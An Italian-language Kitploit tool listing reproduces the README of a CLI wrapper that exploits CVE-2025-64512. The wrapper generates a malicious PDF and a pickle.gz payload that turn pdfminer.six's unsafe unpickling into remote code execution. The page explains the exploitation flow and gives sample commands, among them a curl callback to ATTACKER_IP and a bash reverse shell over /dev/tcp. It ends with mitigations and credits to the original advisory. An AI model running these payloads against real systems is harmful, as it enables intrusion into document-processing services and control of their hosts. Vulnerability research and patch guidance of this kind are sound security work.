Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-64512 — Wrapper CLI per il PoC di CVE-2025-64512 che genera PDF malevoli e payload pickle.gz per sfruttare la deserializzazione non sicura in pdfminer.six, abilitando l'esecuzione di codice remoto tramite l'elaborazione di PDF appositamente modificati. | Kitploit
Strumenti/GitHubGitHub/bardlaudian/cve-2025-64512
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

Wrapper CLI per il PoC di CVE-2025-64512 che genera PDF malevoli e payload pickle.gz per sfruttare la deserializzazione non sicura in pdfminer.six, abilitando l'esecuzione di codice remoto tramite l'elaborazione di PDF appositamente modificati.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
1136 giorni faNon ancora revisionato
Condividi

CVE-2025-64512 — Deserializzazione non sicura (Pickle) in pdfminer.six tramite PDF modificato

Python CVE Platform

⚠️ Avvertenza: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'uso non autorizzato è illegale.


Indice dei contenuti

  • Panoramica
  • Dettagli della vulnerabilità
  • Come funziona
  • Requisiti
  • Installazione
  • Utilizzo
  • Esempi
  • Mitigazioni
  • Crediti
  • Riferimenti

Panoramica

pdfminer.six è una libreria Python ampiamente utilizzata per estrarre testo e metadati da file PDF, spesso integrata in pipeline di elaborazione documenti, strumenti CLI e flussi di lavoro di intelligenza artificiale/ingestione dati. Le versioni affette caricano file di cache CMap (mappe di caratteri) per il supporto dei font CJK utilizzando il modulo pickle di Python, senza verificare che il percorso risolto rimanga all'interno della directory della cache prevista.

Un PDF appositamente modificato può fare riferimento a un percorso controllato dall'attaccante per questa ricerca CMap. Se un attaccante riesce anche a posizionare un file .pickle.gz malevolo in quel percorso risolto (ad esempio tramite una funzionalità di caricamento file collocata), l'elaborazione del PDF attiva pickle.loads() su dati controllati dall'attaccante, provocando esecuzione arbitraria di codice. Questo meccanismo esatto — inclusa la struttura PDF del PoC — è stato documentato da mtolley nell'avviso ufficiale.

Questo repository contiene un piccolo wrapper CLI basato sul proof-of-concept ufficiale pubblicato nell'Advisory di Sicurezza GitHub per CVE-2025-64512. Non introduce alcuna nuova tecnica di sfruttamento — il template PDF malevolo è tratto quasi integralmente dall'avviso stesso; questo script parametrizza solo il percorso di destinazione, il comando da eseguire e i nomi dei file di output, per rendere il PoC più facile da riutilizzare.


Dettagli della vulnerabilità

CampoValore
CVECVE-2025-64512
Affettopdfminer.six ≤ 20250506 (anche markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7)
TipoDeserializzazione non sicura (CWE-502)
PrivilegiNessuno (non autenticato, se l'elaborazione PDF è esposta)
ImpattoEsecuzione arbitraria di codice
Patchpdfminer.six 20251107+

Come funziona

CMapDB._load_data() in pdfminer.six risolve un nome CMap — preso dall'entry /Encoding di un font nel PDF — in un percorso file, e lo carica con pickle.loads() se termina in .pickle.gz. La funzione non verifica che il percorso risolto rimanga all'interno della directory cmap/ di pdfminer.

Requisiti per l'attacco

  1. Un PDF trigger il cui font /Encoding faccia riferimento a un percorso scelto dall'attaccante (codificato in URL, / come #2F).
  2. Un file .pickle.gz malevolo presente in <quel_percorso>.pickle.gz nel filesystem di destinazione al momento dell'elaborazione del PDF.

Entrambi i file possono solitamente essere consegnati tramite lo stesso canale di upload che viene poi elaborato da pdfminer.six (ad esempio una pipeline di ingestione documenti), purché i percorsi su disco risultanti siano prevedibili o scopribili.

Flusso dello sfruttamento

1. Generare un payload pickle malevolo (esegue un comando al momento dell'unpickling)
2. Comprimerlo come <nome>.pickle.gz
3. Generare un PDF "trigger" il cui font /Encoding punti al percorso completo
   nel filesystem di destinazione di quel .pickle.gz (senza l'estensione)
4. Consegnare entrambi i file al target in modo che finiscano nei percorsi previsti
5. Attendere / attivare l'elaborazione del PDF trigger da parte di pdfminer.six
   (o di qualsiasi strumento basato su di esso, es. pdf2txt.py)
6. pickle.loads() esegue il payload -> RCE

Requisiti

  • Python 3.8+ (solo libreria standard — gzip, pickle, argparse)

Non sono necessarie dipendenze di terze parti per generare il payload. Il target deve avere una versione vulnerabile di pdfminer.six (o un progetto che ne dipende) che elabori effettivamente il PDF caricato.


Installazione

git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

Utilizzo

usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     Output filename for the trigger PDF (default: trigger.pdf)
  --gz-out GZ_OUT       Output filename for the pickle.gz payload (default: payload.pickle.gz)
  --path PATH, -p PATH  Full path (without .pickle.gz) on the TARGET filesystem where the
                         pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        Command to execute on the target (default: id)

Esempi

Utilizzo base

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

Questo produce:

  • payload.pickle.gz — carica questo per primo, in .../uploads/payload.pickle.gz
  • trigger.pdf — carica questo per secondo; una volta che il target lo elabora con pdfminer.six, il comando viene eseguito

Callback di rete (utile per confermare RCE senza accesso al filesystem)

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

Reverse shell

python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

Mitigazioni

  • Aggiornare pdfminer.six alla versione 20251107 o successiva (o alla versione corretta di qualsiasi progetto che lo includa, es. markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8).
  • Limitare/validare qualsiasi contenuto caricato dall'utente che venga poi elaborato da pdfminer.six o da strumenti basati su di esso.
  • Isolare le pipeline di elaborazione PDF (container, seccomp, nessuna rete in uscita) in modo che l'RCE da unpickling abbia un raggio d'esplosione minimo.
  • Monitorare la presenza di processi figlio inaspettati generati dai servizi di elaborazione documenti.

Crediti

  • Vulnerabilità scoperta e segnalata da: mtolley
  • Advisory pubblicato da: manutentori di pdfminer.six (pietermarsman)
  • PoC originale (template PDF malevolo): tratto dall'Advisory di Sicurezza GitHub ufficiale
  • Wrapper CLI / parametrizzazione: Bardlaudian — un sottile wrapper di comodo attorno al PoC ufficiale, nessuna nuova tecnica

Riferimenti

  • Advisory di sicurezza ufficiale su GitHub — GHSA-wf5f-4jwr-ppcp (fonte del PoC qui utilizzato)
  • Repository di pdfminer.six
  • Variante polyglot di luigigubello (trucco PDF+pickle.gz in un singolo file, non utilizzato in questo repository)
Scarica lo strumento